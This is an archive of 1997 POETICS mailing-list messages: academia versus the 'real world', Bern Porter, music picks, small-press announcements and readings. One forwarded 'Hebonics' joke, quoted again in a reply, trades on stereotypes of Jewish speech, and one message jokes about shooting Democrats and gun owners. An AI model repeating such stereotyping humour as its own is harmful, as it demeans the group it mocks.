Re: tunes to keep your head clear
Thu 16 Jan 1997

---

when I wanta clear my head i break out my old xenakis records & play them really loud.

m

↑ Index

376. **henry**
Re: bleeding the lifthread
Thu 16 Jan 1997

On Wed, 15 Jan 1997 13:12:33 -0800 Aldon L. Nielsen said:
>No, the WPA wasn't mandatory -- one could always choose to remain
>unemployed and unpaid --
>
>General Hershey had a nifty version of this for me back in my youth --
>It wasn't mandatory that I leave the artificial environment of college to
>do social work in upstate New York; I coould have chosen to be removed
>from the artificial environment of university study for the artificial
>environment of an American militrary base in Viet Nam --
>
>I could and did study and write everywhere -- but it was a whole lot
>easier to get what I needed for my work while attached to a college --
>
>odd sense of what is and is not mandatory in the American economy

This gets right to the historical point, thank you Aldon. I just get leery when I here "utopia" & "5-yr military service" in the same sentence. I know that ain't exactly what you said, Mark Weiss: I just get leery. In my little burg, you'd be surprised how many of the serious community projects are supported & underwritten by those "artificial institutions" like colleges, churches, & community organizations. At the core of it must be some "utopia" of civic freedom, where somebody's trying to think right about "where to send the kids." & also letting

"the kids" (see quotes) figure things out themselves, without too much millenial thunder. - Henry Gould

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377. **Pritchett,Pat**
Re: sustaining the lifethread
Thu 16 Jan 1997

Thanks for making that clear about universities, Mark. I'd venture to add, though, that many major US corporations are sustained in the same way, i.e. thru tax cuts, govt. subsidies, etc. etc.

Patrick Pritchett

From: Mark Weiss
To: POETICS
Subject: Re: sustaining the lifethread
Date: Wednesday, January 15, 1997 8:08PM

Who's talking about warfare? There are other forms of public service.

Nor is this a discussion of artifice vs nature--not on my part, at least. But note in passing that universities don't actually make profits--that's why they need grants and endowments to operate. (They do share with private sector business the tendency of bureaucracies to try to become immortal.) In most countries universities are paid for out of taxes, the same as freeways: they're seen as a necessary part of the infrastructure.

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378. **Gwyn McVay**
Re: fem poet wear
Thu 16 Jan 1997

George, they are not baggy enough to hide Derrida's /Glas/ down them, but I could conceivably hide Wittgenstein's /On Certainty./ --Gwyn

On Thu, 16 Jan 1997, George Bowering wrote:

> *I haven't wanted to answer because what I've been wearing is such a cliche, particularly today: black turtleneck, baggy black jeans, black Doc Martens. I mean, it's just too, too.*
>
> *Gwyn*
>
> *Just how baggy are them jeans?*

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

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379. **daniel_bouchard**
Bern Porter, where have you been?
Thu 16 Jan 1997

This is wonderful!-- some real theory I can think my teeth into. I've been brainstorming and know I can apply this wonderful Theory of Simplistics to some other problems afflicting our tormented world:

1) TEEN PREGNANCY: tell teenagers that sex is the cause of all babies in the world as well as sexually transmitted diseases. To avoid having babies and getting STDs, abstain from sex or use a condom. (wOw, that was Simple!)

2) PALESTINE/ISRAEL: tell all Palestinian and Israeli citizens that war and fighting result in violence and death; then say that dead people cannot own land, only "rest" in it. To avoid an early rest, stop fighting and share everything. (I will fax this proposal to the respective Embassies right away!)

3) POLLUTION: Let all industrial manufacturers producing "bad things" (why complicate matters with messy specifics?) know that these things are bad for people. In order to live on a healthier, happier planet, stop making them. (We can save a lot of time by Simply e-mailing this message around the Internet for a few years.)

4) PEOPLE WHO MAKE RUDE GESTURES IN A CAR: Initiate a massive publicity campaign to notify all drivers of cars that there are certain gestures which are rude. As the public is educated these gestures will cease. Recalcitrant gesture makers can be stopped by someone going car door to car door, removing them (fingers, tongues, whatever. . .)

This is a fine example of applied theoretical knowledge. Miekal, do I need to send a check or something to The Institute for making use of The Theory?

[redacted]

M. And wrote:

Another very interesting example is a solution to problems-- take a simple thing like gun laws, or guns, handguns. It is said nationwide, worldwide, that handguns are a problem. Well if theyre a problem then isnt it obvious that you attack them by first not permitting their manufacture anywhere in the world? Stop their manufacture. Then find people who own them, actually go door to door and remove them. Either their owners pay a fine or give up their handgun; and prevent, stop the sale. Just remove handguns from all markets, from all use, and make them disappear, just decree that they are a problem.

↑ Index

380. **henry**

Re: Bern Porter, where have you been?

Thu 16 Jan 1997

On Thu, 16 Jan 1997 09:58:53 EST <[redacted]> said:
>M. And wrote:
>
>manufacture anywhere in the world? Stop their manufacture. Then find
>people who own them, actually go door to door and remove them. Either
>their owners pay a fine or give up their handgun; and prevent, stop the
>sale. Just remove handguns from all markets, from all use, and make them

Dan, Miekal, this is getting exciting - but there's an even simpler solution I learned from my Grandpa (he was a city official in Minneapolis during the bootleg era). He would say (pipe in cheek, I guess) "Just take all the Democrats, put em up against a wall, & shoot em." We could do the same with gun owners!!!!

- Hank Gould, a.k.a. "Jack Spandrift, the hard-drinkin', tough-talkin' cowboy po-yeti from Minneysoter" (saw "Fargo" finally last week. Say, how ya doin'? Have a nice day now! Oh-oh... better call Marge...)

↑ Index

381. **Karl Richter**

Re: terrestial reclamation

Thu 16 Jan 1997

On Wed, 15 Jan 1997, maria damon wrote:

> *hey miekal, what you call finger shaking is me defending myself against your prejudices and cliches and assumptions about my inner life based on yours. i love your energy, your spontaneity, your truthfulness to your vision. i support your work and i have felt supported by you in some of my creative endeavors. i*

> *don't appreciate your need to indict or condescend to everyone who has chosen a different path, or thru circumstances, ended up doing something other than living at dreamtime village. i'm sorry if you feel publically scolded; for my part, i feel dismissed by a certain tenor of triumphalism in your proclamations.*

AMEN!!
Karl Richter

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382. **Charles Bernstein**
boundary 2 23:3
Thu 16 Jan 1997

Just got copies of the new issue of boundary 2 (volume 23 number 1 fall 1996), which includes the ominously titled "Charles Bernstein: A Dossier", consisting of: a set new poems; an autobiographical interview by Loss Glazier; and a conversation "On Poetry, Language, and Teaching" with Paul Bove, David Bartho-momae, Lynn Emmanuel, and Colin McCabe; and the writing "Experiments" list. I believe that the dossier fully reveals my guilt (about which I remain unashamed); my question is: what is the crime? (I've always been very dense.)

boundary 2 is published by Duke University Press. Ordering information from Box 90660 Duke University, Durham, NC 27708-0660 or [redacted].

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383. **Miekal And**
Re: real worlds...
Thu 16 Jan 1997

[redacted] wrote:
>
> miekal, thanx for the invite!...
>
> hey, work can be fun... but work is work too---by which i don't mean to
> deny the poetry of same... but you're not saying that your life is without
> work, right?...

no joe, Im saying that Im the house "husband" I stay at home Lyx (formerly Liz) works freelance in schools teaching kids how to make instruments out of found & recycled materials & teaching em improvisation in music & language. so, yes I do work all day long making dreamtime happen, but unfortuneately its never cut me a check. we also live on very little money, $4000/year or so for a fambly of 3 I think that's mighty frugal...tho cant think of anything Im jonsing for except maybe one of those there artificial paradise(s).

i mean, you gotta make bread, literal or figurative, no?...

onion bread, with herbs

> *though you are of course free to wrench "work" any which way, you're not wrenching it entirely out of your life, i take it...*

I would say Im chronically unemployable at a real world wage out here in tractorland.

> *but if you say you are, why then i'm not quite sure where you're coming from... i mean, work is such an important aspect of living (no protestant work ethic intended or implied)... so if you tell me that work is NOT an important aspect of your life, even in dreamtime village -- which latter as i see it constitutes, among other things, a workplace, yes, just like my apartment here in chicago -- why then i guess i'd want to hear more, miekal...*
>
> *best,*
>
> *joe, navy blue sweats (ok, just washed) etc.*

--
@#
Dreamtime Village website: http://net22.com/dreamtime
QAZINGULAZA: And/Was/Wakest website:
http://net22.com/qazingulaza
e-mail for DT & And/Was: [redacted]

↑ Index

384. **amato**
real worlds...
Thu 16 Jan 1997

---

with steve, i grow weary of rehearsing the academic vs. real world argument... yet that it keeps resurfacing sez something about where we seem to be (here i mean)... so it may be a tune that needs to be replayed every so often, just to keep everybody's head clear...

strikes me that part of the problem is the way "university" is perceived, even from within... i would like to say ("for once and for all") that there is no SINGLE university construct... that many universities are in so many ways rapidly becoming corporations is, for me, a given... but this reality plays itself out differently on different campuses... i would like to ask folks who do not know better (fess up now!) to take my word for it, please (!---this IS asking a lot, i know)... just as surely as one can offer some tentative generalizations about the profession of the professoriate, one can as well offer some concrete evidence that

pertains to the incredible disparities at work across the professoriate... i've posted too too much in these regions to illustrate what i mean... for that matter, the term "non-academic" bears some scrutiny too---it can (i say *can*) become a way to cloak, if not privilege, one's vantage point...

hey: right now -- just to go public with it in these parts, and at the risk of appearing a bit self-saturated -- i'm seriously considering leaving academe, at least for a short spell---mebbe a year, mebbe more... i am honestly not quite sure whether this will in fact happen, but my mind must be made up by may... and at my age, i'm fully aware of the extent to which this jeopardizes my "career," so you might each imagine that even considering such a move comes out of a relatively difficult set of circumstances (which have in part to do with choices i've made, with my refusal to 'play the game' according to hoyle)... in my particular case, i understand quite well what i mean when i write "leaving academe"---that is, i came 'here' from industry, pretty much knowing what my alternatives were (even though i can't say as how i thought this profession would turn out to be so goddamn REAL!)... and if i leave, i can say pretty much the same... but my point is that my personal situation might be difficult to gather 'from the outside'...

so perhaps we all need to be just a bit less presumptuous about our respective work-places... academics among us too---i mean, *we* tend, as professors, to go on about grants, and sabbaticals, and conferences and such like w/o always acknowledging the impact such chatter may have on those less aligned with post-secondary institutions... we tend, that is, to obscure the fact that teaching is, finally, a job---no matter how rewarding, no matter how seemingly unconventional wrt other forms of employment, or wage-earning... hell, *i* even find it off-putting, partly b/c i don't have the pedigree (so to speak) that i know some of you, however few, must surely have... i say this less out of envy than out of an awareness, again, of just how disparate this profession is...

anyway, if each of us wants to talk both with those who are and those who are not like us, we'll have to be a bit more explicit perhaps, and a bit less hasty to generalize all the way 'round...

best,

joe

↑ Index

385. **Diane Marie Ward**
Re: bern porter and modeling
Thu 16 Jan 1997

On Thu, 16 Jan 1997, KENT JOHNSON wrote:

> *I remember reading in _Down East_ magazine (is that where I saw it?) a wonderful article about the town gala party for Porter's 90th, attended by hundreds. There was a parade to kick the festivities off; Porter led the parade in regal dress and with staff, followed by town firetrucks and ambulance. A lobster and clam bake followed inthe park, I think, with games, civic orchestra, and so on.*

There is video of this celebration (23 minutes long from Cyclops in Freeport Maine) entitled : Bern Porter's 80th birthday celebration -- it was put together by Vanessa Barth and is a compact introduction to the world of Bern Porter. The parade Kent mentioned hovers in my memory whenever I hear the name Bern Porter -- poet as king, walking with staff, flanked by dozens of poets 1/3 , 1/4 of his age who benefitted from the boundaries he pushed/ the ideals he stood for/against. The Poetry Collection at the Ste. University of Buffalo has a copy of the video. ---------- Diane Marie Ward State University of New York at Buffalo "A poem must be a debacle of the intellect. It cannot be anything else." -- Breton & Eluard

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386. Jordan Davis
tunes to keep your head clear
Thu 16 Jan 1997

Lately I've been playing John Davis's songs "Here I Am" and "I'll Burn" to keep my head clear. As I am trying to limit my budget for new recordings this year, would you good people mind recommending some listening materials?

Thanks,
Jordan Davis

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387. pollet
LURKPUB OUTS SELF
Thu 16 Jan 1997

OK, Charles, I figure I'd better do it. I Know I'm one of the lurkpubs you had in mind. Some of the listers are on my mailing list already, or got samples at the National Poetry foundation in June, or at UNH Assembling Alternatives in August, but here goes: I started publishing poetry broadsides under the name Backwoods Broadsides in 1978. In March 1994 I started a new series called the Chaplet Series, modelled after Martha & Basil King's Northern Lights International/Brooklyn Series, which was based on Michael Carlson's Northern Lights Series (London), which was based on a Canadian series I don't know the name

of. The way I do them, folded 8 1/2 x 14" sheet, they'll take a long poem, an excerpt from a huge one, or a whole lot of little ones like Jackson Mac Low's Postcard Poems. I've mailed out 23 so far, 24 & 25 are at press. Many are names that pop up on the list, e.g. Ron Johnson, Bern Porter, Rochelle Owens, Peter O'Leary, Cid Corman, Dick Higgins, Diane di Prima, James Laughlin, most recently a new long poem from Anne Waldman called "a slice at that" and some Sanskrit translations by Andrew Schelling called "Jasmine & Thunder." Photo-offset on good paper, hand stamped colophon, numbered editions of 750. I charge a buck. But it's better to subscribe--I send out two at a time, seasonally starting now. Subs are $10 yr, 8 issues ppd, back issues $1. Add some for foreign postage. If that's more than you have, send $5 to get started, or $2, or I give scholarships. But I do this all myself, no support beyond subscribers. Send to: Sylvester Pollet Backwoods Broadsides RR 5 Box 3630 Ellsworth ME 04605-9529 USA I have all the back issues, though some are numbered overrun. Or you can see them at libraries starting with "B" like the Beinecke, Brown, Buffalo. Or bookstores coast-to-coast (Univ. of Maine & City Lights). There, I did it. Who's next?

↑ Index

388. Romana Christina Huk

Re: M. Nourbese Philip

Thu 16 Jan 1997

I got an address for M. Nourbese Philip from someone on the line last year -- can't recall from whom. Need it again! Could "someone" back- channel it to me? Thanks a lot. Romana

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389. Karl Richter

Re: tunes to keep your head clear

Thu 16 Jan 1997

On Thu, 16 Jan 1997, Jordan Davis wrote:

> *Lately I've been playing John Davis's songs "Here I Am" and "I'll Burn" to keep my head clear. As I am trying to limit my budget for new recordings this year, would you good people mind recommending some listening materials?*

I really dig Luscious Jackson's new record _Fever In Fever Out_: irresistible poppiness with a trip-hop sensibility. Also, try out Superdrag's _Regretfully Yours_: fun, Beatles-influenced guitar rock. I haven't gotten hold of the album yet, but I'm dying to give The Klezmatics' _Jews With Horns_ a whirl; they play

traditional klezmer music, the fiddle/accordian/brass dance music of eastern Europe (somebody correct me if I got any of that wrong).

Anyway, that's my $.02....

Karl Richter
[redacted]

↑ Index

390. **Mark Weiss**
Re: tunes to keep your head clear
Thu 16 Jan 1997

Think of it as Yiddish dixieland. As much a US as a European phenomenon. Good time music.

At 01:54 PM 1/16/97 -0600, you wrote:

>On Thu, 16 Jan 1997, Jordan Davis wrote:
. I
>haven't gotten hold of the album yet, but I'm dying to give The
>Klezmatics' _Jews With Horns_ a whirl; they play traditional klezmer
>music, the fiddle/accordian/brass dance music of eastern Europe (somebody
>correct me if I got any of that wrong).
>
>Anyway, that's my $.02....
>
>Karl Richter
>[redacted]
>
>

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391. **Pritchett,Pat**
Re: tunes to keep your head clear
Thu 16 Jan 1997

I'll second Karl's endorsement of Luscious Jackson. Them chicks is hot! That's the only new music I've got hold of, though. It's pretty much old Louis Armstrong (c. 1930) and old Johnny Cash lately.

From: Karl Richter
To: POETICS
Subject: Re: tunes to keep your head clear
Date: Thursday, January 16, 1997 2:03PM

I really dig Luscious Jackson's new record _Fever In Fever Out_: irresistible poppiness with a trip-hop sensibility. Also, try out Superdrag's _Regretfully Yours_: fun, Beatles-influenced guitar rock. I haven't gotten hold of the album yet, but I'm dying to give The Klezmatics' _Jews With Horns_ a whirl; they play traditional klezmer music, the fiddle/accordian/brass dance music of eastern Europe (somebody correct me if I got any of that wrong).

Anyway, that's my $.02....

Karl Richter
[redacted]

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392. **amato**
Re: real worlds...
Thu 16 Jan 1997

---

miekal, thanx for the invite!...

hey, work can be fun... but work is work too---by which i don't mean to deny the poetry of same... but you're not saying that your life is without work, right?... i mean, you gotta make bread, literal or figurative, no?... though you are of course free to wrench "work" any which way, you're not wrenching it entirely out of your life, i take it...

but if you say you are, why then i'm not quite sure where you're coming from... i mean, work is such an important aspect of living (no protestant work ethic intended or implied)... so if you tell me that work is NOT an important aspect of your life, even in dreamtime village -- which latter as i see it constitutes, among other things, a workplace, yes, just like my apartment here in chicago -- why then i guess i'd want to hear more, miekal...

best,

joe, navy blue sweats (ok, just washed) etc.

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393. **amato**
Re: tunes to keep your head clear
Thu 16 Jan 1997

---

jordan, the only music keeping my head clear at the moment is mary mccaslin... something about folk (and folk-rock) keeps me warm when it's this cold...

best,

joe

↑ Index

394. Don Cheney
how about the word "crackpot"?
Thu 16 Jan 1997

my son maxwell who is in 6th grade got a sheet of feedback from his teacher on his JUPITER report.

his teacher has been consistently critical about his choice of words and phrases. so i'm reading down the list of the teacher's remarks and come to "Do not use the word 'wacko' in your report."

i'm sure i'm responsible for corrupting max as i consistently tell him when writing reports to write in his own words, his own voice instead of copying down sentences from texts verbatim. i tell him to put his own spin on the content. i ask him, what does it mean to you? what is interesting about this to you?

what's funny is that i got in the same kind of trouble at his age. my fifth grade report on the history of california intermixed textbook history with pop culture slogans. my teacher did not find this funny or post-modern or anything. she was pissed! i still have the report and i think it's hilarious.

anyway, i guess maxwell's teacher is an improvement over my fifth grade teacher. i got an F on my california history report and max got an A on his jupiter report.

Don
--
visit Don Cheney's Home Page & Clean Neck Shop
http://www.geocities.com/~doncheney
[redacted]

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395. Charles Alexander
Re: bern porter and modeling
Thu 16 Jan 1997

> *On a seperate note: What, more exactly, do you think that Charles Bernstein "models"?*
>
> *Kent*

My favorite image of Charles is one of him modeling a somewhat disheveled flannel shirt (red & green if memory serves me) and a couple of days' growth of

beard, upon his return from a cabin in the Baboquivari Mountains in southern Arizona to my home in Tucson. Somehow, even after the hour and a half drive back to Tucson he managed to burst in still excited and say, "It was fantastic." So it was also something about the look on his face he modeled, and my new conception of "language poet mountain man."

charles

↑ Index

396. **Don Cheney**
Re: tunes to keep your head clear
Thu 16 Jan 1997

Miekal And wrote:

> *when I wanta clear my head i break out my old xenakis records & play > them really loud.*
>
> *m*

for me : my head is clearest at spectacles that i enjoy : kid's birthday parties, kid's soccer games, swap meets, etc.

of course, if i need to clear my head it's kinda hard to put together a kid's birthday party or a swap meet at the drop of a hat. i meditate (ie: just bring thoughts out and notice them).

as far as music goes, the meat puppets' UP ON THE SUN.

don
--
visit Don Cheney's Home Page & Clean Neck Shop
http://www.geocities.com/~doncheney
[redacted]

↑ Index

397. **JNORTON.US.ORACLE.COM**
death
Thu 16 Jan 1997

One standard text on funereal terminlogy is Jessica Mitford's "The American Way of Death."

John Norton

PS: I was that passenger with the super-clean hands.

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398. **amato**
Re: real worlds...
Thu 16 Jan 1997

miekal, thanx for those clarifications!...

there are probably more alternatives out there than most of us would like to admit... it's difficult to change horses after a certain point though... anyway, unless you're born with a silver spoon someplace or other (and even then) it seems like there's just no way to go w/o struggle...

best,

joe

↑ Index

399. **Gabrielle Welford**
Re: subscribe (fwd)
Thu 16 Jan 1997

> *Welcome to Women Organizing for Change, a Project of Women Leaders Online. You will be receiving our e-mail alerts shortly.*
>
> *~*~*~*~ *~ Women Leaders Online ~*~*~*~*~*~*~*~ Frequently Asked Questions ~*~*~*~*~*~*~*

4. recruit and support progressive feminist candidates; and
5. register and mobilize women voters.

Members of our network receive e-mail alerts with news, analysis, and suggestions for action. We also maintain a page on the World Wide Web (http://wlo.org) with in-depth materials on issues, women's groups, and the Radical Right. In addition, we plan to form state and local chapters.

Q. Why a new organization?

1. No other organization is solely focused on organizing over the Internet -- and the threat from the right is enormous.
2. Women are the majority of voters and we can stop the Radical Right -- but only if we organize effectively.
3. The Internet is uniquely suited to organizing employed women, women at home, and especially students.

Q. Who can belong?

All women and men who share our goals, regardless of background or political affiliation. We especially encourage student activism.

Q. What does it cost?

Basic membership, which includes regular e-mail alerts, is $25 per year, but no one will be turned away for lack of funds. Access to the World Wide Web page is free. Additional contributions to help our organizing efforts are always welcome.

Q. What has the organization done so far?

Since March 1995, members have taken action based on WLO alerts, on dozens of issues before Congress, including welfare reform, reproductive rights, affirmative action, domestic violence , education, and the federal budget. Under the leadership of Web Coordinator Laurie Mann, WLO has also built an award-winning web site. In July 1996, WLO announced its Women Organizing for Change (WOC) campaign, opened an election year office in Washington DC, enlisted the support of major women's organizations, and hired veteran activists Jeanne Clark (Executive Director) and Rhonda Lees, Esq. (Deputy Director). In August, WOC worked closely with Republican and Democratic activists who worked to advance women's issues at their party's conventions. WOC continues to work actively with other women's and civil rights organizations.

Q. How Do I Join WOC?

1. Complete an online volunteer pledge form at http://wlo.org
2. Sending an e-mail to [redacted] *with the subject "volunteer"*

> *Donations can be mailed to Women Leaders Online at P.O. Box 57199, Washington, DC 20037-7199. Those donating $10 or more will receive a nifty "One in a Million" button.*
>
> *For more information: send e-mail to [redacted] or visit our Web Page at http://wlo.org.*
>
> *Thanks. We hope you will join us.*
>
> *~*~*~*

↑ Index

401. **steph4848**
Re: Re.
Fri 17 Jan 1997

It seems this list adrifting. Is it possible that folks might talk about real books, poems. I don't mind the auto/bio/ etc. riffs but it wd also be nice, maybe add a few sparks, if the focus cd turn to actual poems, lines etc. The formalized thing. I been re-reading Tom Mandel's new book, PROSPECT OF RELEASE which I find stunning. I'll probably pop out a review later. I realize the "ragged right" craziness of E-mail limits the integrity of presenting even the lines of an actual work, but even given the formal challenge of that, this format/ forumn (academic or none) wd be welcome to my eyes/ears/cranium. Not only who you/we are reading, but what. Proof, love, war in particulars, etc.

Cheers,
Stephen

↑ Index

402. **George Bowering**
Re: tunes to keep your head clear
Fri 17 Jan 1997

Driving back and forth between clinic and home today I kept playing my old Kid Creole and the Cocoanuts tapes to clear my head. And sinuses.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

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403. **George Bowering**
Re: fem poet wear
Fri 17 Jan 1997

> *George, they are not baggy enough to hide Derrida's /Glas/ down them, but I could conceivably hide Wittgenstein's /On Certainty./ --Gwyn*

Wow, pants full of discourse theory! I am wearing baggy lightweight jeans right now, and looking around for a book. Damn! _A Nest of Ninnies_! Oh hell, I think I'll read a page or two. "Alice was tired...."

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

404. George Bowering

Re: slicker PO et TREE ICKS & the spaces undone

Fri 17 Jan 1997

> *did bp*
> *do any computer-generated visual works?*
>
> *miekal*

On his first computer, an Apple II, bp did program a simple set of action poems. One of those 5.5" diskettes. It was later made a commercial item by Red Deer College Press, and is still available, I wd guess. In 3.5" disks, but I dont know what format.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

405. Miekal And

Re: Re

Fri 17 Jan 1997

[redacted] wrote:

Is it possible that folks might talk about real
> books, poems.

well

the only "real" book

im reading

at this time

is Pat Califia's Public Sex

but maybe that

not be literary enuf to mention

here

miekal

↑ Index

406. Pierre Joris
(H)ebonics
Fri 17 Jan 1997

Just as the thread on ebonics was dying down, this came through, via Suzanne J. Levine, a great translator from yet another language. Some shmerriment for the veekend. -- Pierre

Jewish English or "Hebonics"

The Encino School Board has declared Jewish English a second language. Backers of the move say the district is the first in the nation to recognize Hebonics as the language of many of America's Jews. Here are some descriptions of the characteristics of the language, and samples of phrases in standard English and Hebonics.

Samples of Pronunciation Characteristics:

Jewish English or "Hebonics" hardens consonants at the ends of words. Thus, "hand" becomes "handt."

The letter "W" is always pronounced as if it were a "V".
Thus "walking" becomes "valking."

"R" sounds are transformed to a guttural utterance that is virtually impossible to spell in English. It is "ghraining" "alrgheady."

Samples of Idiomatic Characteristics:

Questions are always answered with questions.

Question: "How do you feel?" Hebonics response: "How should I feel?"

The subject is often placed at the end of a sentence after a pronoun has been used at the beginning: "She dances beautifully, that girl."

The sarcastic repetition of words by adding "sh" to the front is used for emphasis: mountains becomes "shmountains" turtle becomes "shmurtle"

Sample Usage Comparisons:

Standard English Phrase Hebonics Phrase

"He walks slowly." - "Like a fly in the ointment he walks" "You're sexy." - (unknown concept) "Sorry, I do not know the time." - "What do I look like, a clock?"

"I hope things turn out for the best." - "You should BE so lucky" "Anything can happen." - "It is never so bad, it can't get worse"
--
==========
pierre joris 6 madison place albany ny 12202
tel/fax [redacted] email:[redacted]
http://writing.upenn.edu/epc/authors/joris/
http://www.albany.edu/~tm0900/nomad.html

Everything that allows men to become rooted, through values or sentiments, in _one_ time, in _one_ history, in _one_ language, is the principle of alienation which constitutes man as privileged in so far as he is what he is, [...] imprisoning him in contentment with his own reality and encouraging him to offer it as an example or impose it as a conquering assertation. -- Maurice Blanchot
==========

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407. **tmandel**

Tom Mandel / Marjorie Welish reading at Ear Inn tomorrow

Fri 17 Jan 1997

Marjorie and I will be reading in NY tomorrow, at the Ear Inn.

That's Saturday January 18, and the reading starts at

2:30pm

(which I think is perhaps a little earlier than the usual starting time?)

Anyway, if you are in NY please come.

The Ear Inn is located at 326 West Spring Street

Tom

****
Tom Mandel * 2927 Tilden St. NW
Washington DC 20008 * [redacted]
vox: [redacted] * fax [redacted]
****

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408. Johannah Raney
music and dictionaries
Fri 17 Jan 1997

Re: music -- Richard Thompson, Greg Brown, Bill Morrissey ($.06)

I am in search of -- verse, encyclopedia, or otherwise -- which in some way catalog emotions/emotional concepts/ideas... I realize that's extremely fuzzy...but anything from the dictionary of received ideas to Henri Deluy's Carnal Love...works that have a focus on articulating the abstraction of dominating human concepts. Particularly interested in finding works on shame. Any leads for a very broad request?

Johannah Raney
Cambridge, Ma

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409. robert drake
Re: (H)ebonics
Fri 17 Jan 1997

> *"Anything can happen." - "It is never so bad, it can't get worse"*
> --

i thot it was:

"Anythink can happen." - "It is never so bad, it can't get verse"

lbd

↑ Index

410. **amato**
lit...
Fri 17 Jan 1997

---

i'm reading through both the _primary trouble_ and _premonitions_ anthologies of late, both of which i'm finding to be well-worth the price of admission... i'll be using the _primary trouble_ anthology in an american poetry class this semester, so it'll be interesting to see how the class responds to the writing... i'm gonna jump-start the class by beginning at the beginning, having a close look at that preface-poem by william bronk, "the nature of musical form," see what sorts of insights this poem generates...

far as single books of poetry: i'm finally getting to hannah weiner's _silent teachers remembered sequel_, which is remarkable in its way... and celan's _breathturn_, which w/o pierre joris's exceptional introduction (and for that matter translation) i probably wouldn't have a clue as to how to read...

next up is rod smith's latest, _in memory of my theories_... and i keep dabbling in and out of the rothenberg/joris _poems for the millennium_ anthology, which i find extraordinary... oh and i'm just about to finish up alfred bester's _the stars my destination_, one of THE most amazing scifi's i've ever laid my pinkies on...

alla these superlatives, i know---but then, that's why i'm reading this stuff!...

joe

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411. **henry gould**
Re: music and dictionaries
Fri 17 Jan 1997

On Fri, 17 Jan 1997 09:40:27 -0500 Johannah Raney said:
>Carnal Love...works that have a focus on articulating the abstraction of
>dominating human concepts. Particularly interested in finding works on
>shame. Any leads for a very broad request?

I can't recommend it, since I've only sniffed it (about 80 yrs ago) - but maybe the _Anatomy of Melancholy_? Just a guess...(& not exactly a recent work...) - Henry Gould

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412. **Charles Alexander**
Re: slicker PO et TREE ICKS & the spaces undone
Fri 17 Jan 1997

At 01:10 AM 1/17/97 -0800, you wrote:
>> did bp
>>do any computer-generated visual works?
>>
>>miekal
>
>On his first computer, an Apple II, bp did program a simple set of action
>poems. One of those 5.5" diskettes. It was later made a commercial item by
>Red Deer College Press, and is still available, I wd guess. In 3.5" disks,
>but I dont know what format.

It's a Macintosh format. I have one which Ellie Nichol kindly gave me, and I believe that you're right and it is still available. Probably one could be purchased from jw curry, whose address was posted on this list a few days ago. But perhaps from other sources as well.

charles

↑ Index

413. **Jordan Davis**
Re: music and dictionaries
Fri 17 Jan 1997

My understanding is that Kenneth Goldsmith's new book from The Figures is the catalog poem to end all catalog poems... Kenny are you out there? Have you announced this yet? -- Jordan

↑ Index

414. **John Geraets**
ruse: add l and transpose s
Fri 17 Jan 1997

Are there rules regarding the kind/s of writing in which this exchange community shares an interest?--I mean in the sense of ground rules. In what is it grounded? Or not, nothing. Is language or post-language writing grounded?

Just wondering,

John

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415. Christopher Alexander
Re: tunes to keep your head clear
Fri 17 Jan 1997

> *would you good people mind recom*
> *mending some listening materials?*

when I want to clear my head,
I just go to one of Don's great
birthday parties.

actually, theres something
I really like about that--I havent
been to a birthday party since I

was about 12 (I guess most of us
get too embarrassed at about that
age to have more).

oh, but music: any Patsy Cline will do--well, almost any. also Art Blakey & the Jazz Messengers. theres a great Nat King Cole disk of the earliest recordings (the name escapes me now)--much better, I think, than his later work. also I listen to a lot of Sonic Youth. .. christopher alexander, etc. [redacted]

"... The Anarchists' [national] anthem is an international anthem that consists of 365 raspberries blown in very quick succession to the tune of "Camptown Races". Nobody has to stand up for it, nobody has to listen to it, and, even better, nobody has to play it." --Mike Harding, "The Armchair Anarchist's Almanac"

↑ Index

416. Miekal And
Re: tunes to keep your head clear
Fri 17 Jan 1997

stick this on yr
computer when yr
mother's not lookin

NOISE HOUSE
by The Wisconsin Conservatory of Noise
800K floppy
Requires Hypercard 2.0 for the Macintosh

This hypermedia hiphop single cuts John Cage with Public Enemy with movement by the Noise House Dancers. Typography tumbles around the page. Hook up your Mac upto your stereo & crack it!

$6 plus $1 p/h from:

Autoceptor Experimedia
Rt 1 Box 131
LaFarge, WI 54639
[redacted]

↑ Index

417. Steve Carll
Antenym 11 reading
Fri 17 Jan 1997

The contributors' reading and publication party for Antenym 11 will be held as an alternative to the Super Bowl on Sunday, January 26th at Canessa Park Gallery, 708 Montgomery St. at Columbus in lovely downtown San Francisco. Scheduled start time is 3:00 PM and the readers will be:

Darin DeStefano
Pat Reed
Eric Selland

Admission is 5 dollars. Hope to see you all there!

****
[redacted] Steve Carll
http://writing.upenn.edu/epc/mags/antenym
http://writing.upenn.edu/epc/ezines/antenym

In seed-
sense
the sea stars you out, innermost, forever.

--Paul Celan
****

↑ Index

418. Mark Weiss
Re: (H)ebonics
Fri 17 Jan 1997

Let me add that the transliteration of those sounds in hebonics (I prefer hebronics) that goyim find hard to pronounce follows the standard established by Weinrich in his _Modern Yiddish-English Dictionary_, the final arbiter in such matters.

At 08:59 AM 1/17/97 -0500, you wrote:
>Just as the thread on ebonics was dying down, this came through, via

>Suzanne J. Levine, a great translator from yet another language. Some
>shmerriment for the veekend. -- Pierre
>
>Jewish English or "Hebonics"
>
>The Encino School Board has declared Jewish English a second
>language. Backers of the move say the district is the first
>in the nation to recognize Hebonics as the language of many
>of America's Jews. Here are some descriptions of the
>characteristics of the language, and samples of phrases in
>standard English and Hebonics.
>
>Samples of Pronunciation Characteristics:
>
>Jewish English or "Hebonics" hardens consonants at the ends
>of words. Thus, "hand" becomes "handt."
>
>The letter "W" is always pronounced as if it were a "V".
>Thus "walking" becomes "valking."
>
>"R" sounds are transformed to a guttural utterance that is
>virtually impossible to spell in English. It is "ghraining"
>"alrgheady."
>
>Samples of Idiomatic Characteristics:
>
>Questions are always answered with questions.
>
>Question: "How do you feel?" Hebonics response: "How
>should I feel?"
>
>The subject is often placed at the end of a sentence after a
>pronoun has been used at the beginning: "She dances
>beautifully, that girl."
>
>The sarcastic repetition of words by adding "sh" to the
>front is used for emphasis: mountains becomes "shmountains"
>turtle becomes "shmurtle"
>
>Sample Usage Comparisons:
>
